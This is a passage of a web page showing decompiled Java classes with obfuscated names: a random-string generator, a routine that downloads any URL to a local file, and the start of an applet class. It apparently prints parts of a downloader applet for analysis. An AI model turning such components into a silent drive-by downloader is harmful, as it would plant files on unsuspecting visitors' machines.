<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'\0'</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'\001'</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'\002'</span></pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>
</p></div>
</div>
<p>c_de.java</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             <span style="color: #0000ff">if</span>(bufferedoutputstream != <span style="color: #0000ff">null</span>)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>                 bufferedoutputstream.<span style="color: #0000ff">close</span>();</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">true</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         catch(<span style="color: #0000ff">Exception</span> <span style="color: #0000ff">exception</span>)</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>         {</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">false</span>;</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>     }</pre>
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span> }</pre>
</p></div>
</div>
<p>c_ed.java</p>
<div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">
<div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">
<pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.applet.Applet;</pre>
